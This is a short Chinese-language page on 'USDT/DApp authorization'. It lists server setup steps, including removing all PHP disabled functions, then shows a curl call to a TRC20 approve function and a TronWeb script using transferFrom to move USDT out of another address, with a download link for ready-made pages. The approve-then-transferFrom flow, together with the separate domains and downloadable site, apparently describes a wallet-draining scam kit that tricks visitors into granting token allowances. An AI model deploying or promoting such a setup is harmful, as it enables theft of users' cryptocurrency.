USDT/DAPP授权原理/USDT接口实现

一、安装需求

AAA.com
bbb.com
ccc.com

需要三个域名

1、安装环境
a .服务器 centos7以上

//软件商店
b.nginx1.2以上
c.php7.3版本

c1.安装php扩展 redis和gmp
c2.删除所有php禁用函数（宝塔的软件商店，点击php设置，禁用函数，点击删除）
d.mysql5.7 + phpMyAdmin
e.redis6.26 或者reids5+
1.设置redis密码（如果不设置 REDIS_PASSWORD=）

环境配置完成，即可上线程序。

调用TRC20合约的approve函数授权代币使用权给其他地址

2、HTTP API :

demo:向某个
wallet/triggersmartcontract

curl -X POST https://127.0.0.1:8090/wallet/triggersmartcontract -d '{
"contract_address":"419E62BE7F4F103C36507CB2A753418791B1CDC182",
"function_selector":"approve(address,uint256)",
"parameter":"0000000000000000000000410FB357921DFB0E32CBC9D1B30F09AAD13017F2CD0000000000000000000000000000000000000000000000000000000000000064",
"fee_limit":100000000,
"call_value":0,
"owner_address":"41977C20977F412C2A1AA4EF3D49FEE5EC4C31CDFB"
}'

3、实现功能与页面：

下载链接：网盘下载

二、调用TRC20合约的transferFrom函数实现转账，配合approve方法使用

JAVA Tronweb示例:

const TronWeb = require('tronweb')

const HttpProvider = TronWeb.providers.HttpProvider;
const fullNode = new HttpProvider("https://127.0.0.1:8090");
const solidityNode = new HttpProvider("https://127.0.0.1:8090");
const eventServer = new HttpProvider("https://127.0.0.1:8090");
const privateKey = "your private key";
const tronWeb = new TronWeb(fullNode,solidityNode,eventServer,privateKey);

async function triggerSmartContract() {
    // Address B transfers 10 USDT from address A to C: B calls transferFrom (A, C, 10)
    const trc20ContractAddress = "TQQg4EL8o1BSeKJY4MJ8TB8XK7xufxFBvK";//contract address

    try {
        let contract = await tronWeb.contract().at(trc20ContractAddress);
        //Use send to execute a non-pure or modify smart contract method on a given smart contract that modify or change values on the blockchain.
        // These methods consume resources(bandwidth and energy) to perform as the changes need to be broadcasted out to the network.
        await contract.transferFrom(
            "TM2TmqauSEiRf16CyFgzHV2BVxBej...", //address _from
            "TVDGpn4hCSzJ5nkHPLetk8KQBtwaT...", //address _to
            100000 //amount
        ).send({
            feeLimit: 10000000
        }).then(output => {console.log('- Output:', output, '\n');});
    } catch(error) {
        console.error("trigger smart contract error",error)
    }
}

下载页面

USDT/DAPP授权原理/USDT接口实现

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